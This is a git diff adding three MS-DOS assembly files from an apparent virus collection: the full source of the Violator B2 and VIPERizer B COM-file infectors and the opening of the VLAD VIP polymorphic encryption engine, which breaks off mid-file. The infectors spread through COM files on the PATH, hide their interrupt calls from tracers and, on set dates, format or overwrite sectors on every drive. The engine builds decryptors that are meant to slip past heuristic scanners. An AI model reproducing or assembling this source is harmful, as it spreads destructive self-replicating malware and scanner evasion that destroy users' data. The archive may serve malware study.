at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.violb2.asm b/MSDOS/Virus.MSDOS.Unknown.violb2.asm new file mode 100644 index 00000000..b7d2a1e4 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.violb2.asm @@ -0,0 +1,532 @@ +;***************************************************************************** +; +; Violator - Strain B2 +; +;***************************************************************************** +; +; (Sep/23/90) +; +; Development Notes: +; +; In this version, I have implemented various methods of thwarting users +; attempts to dissassemble this program as well as tracing various interrupt +; calls. +; +; This was done by setting a marker and then doing a CALL to a location which +; will decide which interrupt to issue based on the marker value. Couple this +; with multiple jumps, and it is enough to make any dissassembler puke it's +; guts out, not to mention anyone looking at us with debug will probably +; have an enema before they find out which interrupt we are using. +; +; Also, I have added a routine to thouroughly mess up drive C at the end of +; wiping out all drive. This was taken from Violator A becuase it worked to +; nicely destruction-wise. +; +; In other notes, this sucker is set to go off on October 31st 1990. +; +; UIV v1.0 is still on the fritz and will not become Violator C until I fix it +; to wipe out vectors 13, 26, and 21 (HEX). +; +; (Oct.02.90) +; +; Made a minor change so that INT 26 will also be accessed via flag. +; +;***************************************************************************** +; +; Written by - The High Evolutionary - +; RABID Head Programmer +; +; Copyright (C) 199O by RABID Nat'nl Development Corp. +; +;***************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H ; Set ORG to 100H plus our own + +VCODE: JMP virus + + NOP + NOP + NOP ;15 NOP's to place JMP Header + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + MOV AH,30H + MOV marker,1 + call weed + CMP AL,0 ;Quit it it's DOS 1.0 + JNZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + MOV marker,1 + CALL weed + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + MOV marker,1 + CALL weed + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP year_check + +; +; This routine weed's out the calls... +; + +weed: CMP marker,1 ;Check to see if it's an INT 21 call + JE int_21 ;If yes,then go and issue an INT 21 + CMP marker,2 ;Check to see if it's an INT 13 call + JE int_13 ;If yes, then go and issue an INT 13 + CMP marker,3 ;Check to see if it's an INT 26 call + JE int_26 ;If yes, then go and issue an INT 26 + RET ;Go back to where we were called from + +; +; The RET there is unnecessary, but I put it there just to be on the safe side +; incase of a "What If?" scenario... The real valid RET is issued from the JE +; locations (int_21 and int_13)... You may choose to comment this line on +; compilation, but what difference does one byte make ? +; + +year_check: + MOV AH,2AH ;Get date info + MOV marker,1 ;Call DOS + CALL weed + CMP CX,1990 ;Check to see if the year is 1990 + JGE month_check ;If greater or equal, check month + JMP find_path ;If not, go on with infection + +month_check: + MOV AH,2AH ;Get date info + MOV marker,1 ;Call DOS + CALL weed + CMP DH,10 ;Check to see if it is October + JGE day_check ;If greater or equal, check day + JMP find_path ;if not, go on with infection + +day_check: + MOV AH,2Ah ;Get date info + MOV marker,1 ;Call DOS + CALL weed + CMP DL,31 ;Check to see if it is the 31st + JGE multiplex ;If yes, then nuke drives A:-Z: + JMP find_path ;If not, then go on with infection + +int_21: INT 21h ;Issue an INT 21 + RET ;Return from CALL + +multiplex: + MOV AL,cntr ;Counter is the drive to kill + CALL alter ;Go and kill the drive + ;25 is drive Z: + CMP cntr,25 ;Is (cntr) 25 ? + JE really_nuke ;Now go and Blow up drive C: + INC cntr ;Add one to (cntr) + LOOP multiplex ;Loop back up to kill next drive + +int_26: INT 26h + RET + +alter: + MOV AH,05 ;Format Track + MOV CH,0 ;Format track 0 + MOV DH,0 ;Head 0 + MOV DL,cntr ;Format for drive in (cntr) + MOV marker,2 ;Call RWTS + CALL weed + RET ;Return up for next drive + +int_13: INT 13h ;Issue an INT 13 + RET ;Return from CALL + +really_nuke: + MOV AL,2 ;Set to fry drive C + MOV CX,700 ;Set to write 700 sectors + MOV DX,00 ;Starting at sector 0 + MOV DS,[DI+99] ;Put random crap in DS + MOV BX,[DI+55] ;More crap in BX + MOV marker,3 ;Call BIOS + CALL weed + POPF ;Pop the flags because INT 26 messes + ;them up + +find_path: + POP SI + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will go +; along and infect the ROOT directory on the default drive. +; + JNZ find_path ;If not path, then go to ROOT dir + LOOP check_next_4 ;Go back and check for more chars + POP SI ;Load in PATH again to look for chars + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc ;Put the filename in wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +;***************************************************************************** +; +; Infection Notes: (Oct.02.90) +; +; A wierd thing happened a few days ago, I was testing this virus out on my +; system under Flushot + and I monitored everything that was going on. Here is +; the exact order that Violator infects stuff: +; +; 1) If there is a path used, we first infect the current directory until +; full. +; +; If there is no path, we infect the current directory either way... +; +; 2) If there is no path, we then infect the current directory, and then +; go on and infect all COM'z in the root directory. +; +; 3) Finally, after everything in the path has been infected, we then go and +; infect all of the COM shit in the root directory... +; +; This results in a bug with the slash checker. It checks to see if there is +; a slash on the end of the path, and if there is none, it adds one. But +; what would happen if there's no path??? It'll still add a slash. +; This benefit's us greatly. Anyway, on with the code... +; +;***************************************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the file name to infect! (hehe) + + +move_subdir: + LODSB ;To tedious work to move into subdir + CMP AL,';' ;Does it end with a ; charachter? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future reference + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS so that we can do stuph + MOV [BX+path_ad],SI ;Where is the next subdir? + NOP + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspace + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... THE VICTIM!!! + MOV CX,3 ;Attributes of Read Only or Hidden OK + MOV marker,1 + CALL weed + JMP SHORT find_first + +find_next: + MOV AH,4FH + MOV marker,1 + CALL weed + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + MOV marker,1 + CALL weed + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + MOV marker,1 + CALL weed + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + MOV marker,1 + CALL weed ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + MOV marker,1 + CALL weed + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + MOV marker,1 + CALL weed + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + MOV marker,1 + CALL weed + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + MOV marker,1 + CALL weed + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + MOV marker,1 + CALL weed + MOV AH,3EH + MOV marker,1 + CALL weed + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + MOV marker,1 + CALL weed + POP DS + +quit: + POP CX + XOR AX,AX ;XOR values so that we will give the + XOR BX,BX ;poor sucker a hard time trying to + XOR DX,DX ;reassemble the source code if he + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program +; +; It seems as if there is a bit of a misunderstanding about the above line. +; What it simply does is returns from the JMP that we issued at the beginning +; of the program. Heceforth, an infected program will have something to the +; effect of 2145:0100 JMP 104B and the program will then jump to the +; beginning of us. Then we go along our merry way of infecting files until +; we are done and then come up to the RET 0FFFFH line. This is just like a +; plain RET put as we all know, you can't RET from a JMP, so this line kinda +; tricks DOS to return back to the line after the one that issued the original +; JMP, thus, it returns to line 2145:0102 and begins with the real program... +; +; Clear? Good... + +vir_dat EQU $ + +; +; Change the next line on release of compiled file... +; +intro db 'Violator B2 (C) ''9O RABID Nat''nl Development Corp.',13,10 +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +cntr DB 2 ; Drive to nuke from (C:+++) +marker DB 0 ; This is used for INT purposes +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + + CODE ENDS +END VCODE + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; diff --git a/MSDOS/Virus.MSDOS.Unknown.vip-b.asm b/MSDOS/Virus.MSDOS.Unknown.vip-b.asm new file mode 100644 index 00000000..9f4b8eae --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vip-b.asm @@ -0,0 +1,406 @@ +; +; VIPERizer, Strain B +; Copyright (c) 1992, Stingray/VIPER +; This is a Viral Inclined Programming Experts Ring Programming Team Production +; +; VIPER are: Stingray, Venom, and Guido Sanchez +; + +MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro. + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + NOP ; just a dud for the 'infected' file. + +v_start equ $ + + +virus: PUSH CX + mov ax,0ff0fh ; Thanks to RABID... Change Mem Marker + int 21h + cmp ax,101h ; Is VirexPC/FluShit in memory? + jne more_virus ; Nope. + jmp quit ; FUCK!!!!! +more_virus: + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + mov cx,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + + MOV AH,30H + INT 21H + nop + CMP AL,0 ;0 means it's version 1.X + JNZ dos_ok ;For version 2.0 or greater + JMP quit ;Don't try to infect version 1.X +dos_ok: + mov ah,2ch ; Get Time + int 21h ; Do it. + xor bx,bx ; VIPERize bx, for later use. + cmp dl,4 ; hund's of seconds 4? + jle print_message ; If 4 or less, print a message. + ; This serves as a random 1 in 20 + ; chance of the message printing + jmp short get_date ; No? What date is it...? +print_message: + mov dl, byte ptr [si+msg+bx] ; Get a byte of our message... + or dl,dl ; is it 0? (end of message) + jz get_date ; Get the date if it is... + sub dl,75 ; Unencrypt message + mov ah,2 ; Prepare to print one letter + int 21h ; do it! + inc bx ; point to next character. + jmp short print_message ; Do it again. +get_date: + mov ah,2ah ; What day is it? + int 21h ; Find out. + cmp dh,2 ; Is it february? + jne resume ; No? Oh well. + cmp dl,14 ; Is it valentines day? + jne resume ; No? Damn. + xor bx,bx ; VIPERize bx +cool: + mov dl,byte ptr [si+msg2+bx] ; This is pretty much the + or dl,dl ; same as the above 'print' + jz no_mas ; function. except I didn't + sub dl,75 ; make it a procedure. + mov ah,2 + int 21h + inc bx + jmp short cool +no_mas: + mov al,2 ; Start with drive C: +phri: + mov cx,255 ; Nuke a few sectors + mov dx,1 ; Beginning with sector 1!!! + int 26h ; VIPERize them!!!! Rah!!! + jc error ; Uh oh. Problem. + add sp,2 ; Worked great. Clear the stack... +error: + inc al ; Get another drive! + cmp al,200 ; Have we fried 200 drives? + je done_phrying ; Yep. + jmp short phri ; Nope. +done_phrying: + cli ; Disable Interrupts + hlt ; Lock up computer. +resume: + PUSH ES + MOV AH,2FH + INT 21H + nop + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + POP ES + MOV DX,dta ;Offset of new DTA in virus data area + nop + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + nop + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + nop + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + nop + LOOP check_next_4 ;Loop to check the next character + POP SI + POP ES + nop + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + nop + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + nop + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + nop + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir +moved_last_one: + xor si,si +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + nop + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + nop + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + nop + JMP SHORT find_first +find_next: + MOV AH,4FH + INT 21H + nop +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + nop + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + nop + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + INT 21H + nop + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + nop + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + nop + MOV AX,OFFSET 3D02H ;Read/Write + nop + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + nop + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + nop + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,3FH + nop + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + nop + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + xor cx,cx + xor dx,dx + INT 21H + nop + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + nop + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV_CX virlen ;Length of virus, in bytes + nop + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + nop + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + xor cx,cx + xor dx,dx + INT 21H + nop + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + nop + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + nop +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + nop + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + nop + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + nop + MOV AH,3EH + INT 21H + nop +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + nop + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + nop +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + nop + MOV DS,[SI+old_dts] + INT 21H + nop + POP DS + nop +quit: + POP CX + XOR AX,AX + XOR BX,BX + xor cx,cx + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH +vir_dat EQU $ +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +fspec_ DB '*.COM',0 +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +envstr_ DB 'PATH=' ;Find this in the environment +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + +; These messages are encrypted. +; msg = "Will you be my..." +; msg2 = "VIPERizer, Strain B" +; "(c) 1992, Stingray/VIPER" +; "Happy Valentines Day!" + +_msg db 162,180,183,183,107,196,186,192,107,173,176,107,184,196,121,121 + db 121,085,088 + db 0 +_msg2 db 161,148,155,144,157,180,197,176,189,119,107,158,191,189,172,180 + db 185,107,141,085,088 + db 115,174,116,107,124,132,132,125,119,107,158,191,180,185,178,189 + db 172,196,122,161,148,155,144,157,085,088 + db 147,172,187,187,196,107,161,172,183,176,185,191,180,185,176,190 + db 107,143,172,196,108,085,088 + db 0 + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code +msg = _msg - vir_dat ; Disp. to 1st msg +msg2 = _msg2 - vir_dat ; Disp. to 2nd msg + CODE ENDS +END VCODE + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vip10.asm b/MSDOS/Virus.MSDOS.Unknown.vip10.asm new file mode 100644 index 00000000..b7260fca --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vip10.asm @@ -0,0 +1,1241 @@ + +; +; VLAD Infinite Polymorphic - VIP +; by Qark - VLAD +; +; This engine is good in some respects, and poor in others. +; The encryption it creates is fairly easy to crack, being a looping +; xor with a keychange (all registers/values chosen at random), +; but the encryption loops are very hard to detect. There are four +; different loop types, of which TBSCAN can only find two. +; +; At the start of the decryptor, the engine won't produce some instructions +; that flag heuristics. For this reason, VIP avoids alot of the heuristic +; problems most other garbage generators have. For example: +; Doesn't produce INC/DEC in the first 20 bytes to avoid flags. +; Doesn't produce memory operations in the first 10 bytes. +; Doesn't produce XCHG in the first 10 bytes. +; Always uses the short version of instructions (AX/AL Imm etc) +; +; One problem that couldn't be avoided is the creation of FFFF word pointers +; causing crashes. The likelihood of them occurring is low (about 1 in 300 +; samples) because danger instructions have been put to a minimum. +; (eg mov ax,[bx-1] bx=0, isn't produced anymore). +; +; If you're wondering why the polymorphism produced isn't changing, that's +; because it's an example of slow polymorphism. +; +; To assemble, use it as an include file for the program that calls it. +; + + +VIP: +;On entry: +; AL = 1 if COM file +; DS:SI = Points to the unencrypted virus +; ES:DI = Place to store encrypted virus +; CX = length of virus +; BP = delta offset +; Assumes CS=DS=ES +;On return: +; CX = length of decryptor + encrypted code + + cld + mov word ptr saved_cx,cx + mov word ptr saved_di,di + mov word ptr saved_si,si + mov byte ptr segtype,al + mov byte ptr inloop,0 ;Initialise variable + + ;Initialise our randomisation for slow polymorphism. + call init_rand + + ;Clear the register table + + call unmark_all + + ;Clear the displacements + call clear_displacement + + ;Select a random decryption type. +rand_routine: + call get_rand + mov si,offset dec_type + and ax,3*2 + add si,ax + mov ax,word ptr [si] + jmp ax + +Standard: +;Uses 'standard' encryption. +; ----This is a basic layout of the decryptor---- +; mov pointer,offset virus_start +; mov cipher,xorval +; loop: +; xor word ptr pointer,cipher +; inc pointer +; inc pointer +; cmp pointer,virus_start+virlength +; jne loop +; virus_start: +; ----------------------------------------------- + + call startup ;Setup pointer and cipher + + mov byte ptr inloop,1 + mov word ptr loopstart,di + + call encrypt_type + + or al,0f8h + mov ah,al + mov al,81h ;CMP pointer,xxxx + stosw + + call round_up + add ax,word ptr pointer1val + stosw + + call handle_jne ;JNE xx + call calc_jne + + mov byte ptr inloop,0 + + ;Calculate the displacement + call fix_displacements + + call encrypt_virus + + call decryptor_size + + ret + +Stack1: +;Use the stack method for encryption. This method doesnt work on EXE's +;because SS <> CS. +; ----This is a basic layout of the decryptor---- +; mov sp,offset virus_start +; mov cipher,xor_val +; loop: +; pop reg +; xor reg,cipher +; push reg +; pop randomreg +; cmp sp,virus_start+virus_length +; jne loop +; ----------------------------------------------- + + cmp byte ptr segtype,0 + jne stack1_ok + jmp rand_routine +stack1_ok: + call rand_garbage + call rand_garbage + mov al,0bch ;MOV SP,xxxx + stosb + mov word ptr displace,di + mov ax,bp + stosw + + call setup_cipher + + mov byte ptr inloop,1 + mov word ptr loopstart,di + + call select_reg + call rand_garbage + push ax + or al,58h ;POP reg + stosb + call rand_garbage + + mov al,33h ;XOR reg,reg + stosb + + pop ax + push ax + push cx + mov cl,3 + shl al,3 + or al,byte ptr cipher + or al,0c0h + stosb + pop cx + + call rand_garbage + + pop ax + or al,50h ;PUSH reg + stosb + + call rand_garbage +next_pop: + call get_rand + call check_reg + jc next_pop + and al,7 + or al,58h ;POP reg (=add sp,2) + stosb + + call rand_garbage + + mov ax,0fc81h ;CMP SP,xxxx + stosw + mov word ptr displace2,di + + call round_up + add ax,bp + stosw + + call handle_jne + call calc_jne + + mov byte ptr inloop,0 + + mov al,0bch ;mov sp,0fffeh + stosb + mov ax,0fffeh + stosw + + call rand_garbage + + ;Calculate the displacement + call fix_displacements + + mov si,word ptr saved_si + mov cx,word ptr saved_cx + inc cx + shr cx,1 + mov bx,word ptr xorval +enc_stack1: + lodsw + xor ax,bx + stosw + loop enc_stack1 + + call decryptor_size + + ret + +Call_Enc: +;Uses recursive calls to decrypt the virus. Needs a big stack or else it will +;crash. +; ----This is a basic layout of the decryptor---- +; mov pointer,offset virus_start +; mov cipher,xorval +; loop: +; cmp pointer,virus_start+virus_length +; jne small_dec +; ret +; small_dec: +; xor word ptr pointer,cipher +; inc pointer +; inc pointer +; call loop +; add sp,virus_length-2 +; ----------------------------------------------- + + call startup + + mov byte ptr inloop,1 + + mov word ptr loopback,di + call rand_garbage + + mov al,byte ptr pointer 